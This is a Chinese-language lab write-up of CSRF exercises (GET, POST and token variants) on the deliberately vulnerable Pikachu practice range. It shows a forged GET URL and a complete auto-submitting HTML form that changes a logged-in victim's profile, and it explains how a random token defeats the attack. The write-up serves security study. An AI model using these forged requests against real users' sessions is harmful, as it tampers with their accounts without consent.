Pikachu靶场:CSRF(GET)、CSRF(POST)以及CSRF(token)
实验环境以及工具
Firefox浏览器、Burp Suite、Pikachu靶场
实验原理
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。
CSRF的主要问题是敏感操作的链接容易被伪造,那么如何让这个链接不容易被伪造?
每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对这个随机码进行验证!
具体实施
CSRF(GET)
1.受害者登录
用户lucy登录
修改手机号为123456789住址usa为wuhan邮箱改为lucy@163.com
2.伪造链接
将GET请求复制下来
GET /Pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123456789&add=wuhan&email=lucy%40163.com&submit=submit
修改部分内容,这里吧住址wuhan改为beijing并改成URL发送
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123456789&add=beijing&email=lucy%40163.com&submit=submit
CSRF(POST)
1.受害者登录
受害者修改住址为wuhan
这样就不能利用在URL修改信息来篡改受害者信息。
2.搭建恶意网站
搭建一个恶意网站将受害者信息进行修改,这里是将住址从wuhan改为hubei
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="123456789" />
<input id="add" type="text" name="add" value="hubei" />
<input id="email" type="text" name="email" value="lucy@163.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
并将恶意网站URL发送给受害者
http://127.0.0.1/Pikachu/vul/csrf/csrfpost/post123.html
成功修改了受害者的信息。
CSRF(token)
受害者登录并将住址修改为wuhan
GET /pikachu/vul/csrf/csrftoken/token_get_edit.php?
sex=lucy
&phonenum=123456789
&add=wuhan
&email=lucy%40163.com
&token=15902607bf21f29fd3019665073
&submit=submit HTTP/1.1
其中token的值每次请求都会发生变化,所以攻击者不能用自己的token对受害者进行攻击。
总结
CSRF是借用受害者的权力进行攻击,与xss和其他越权漏洞不同,它没有实质性的拥有受害者的权力。CSRF的攻击条件非常苛刻,需要目标网站有CSRF漏洞,要受害者进行登录,受害者点击恶意链接。token能够很好的防御CSRF攻击。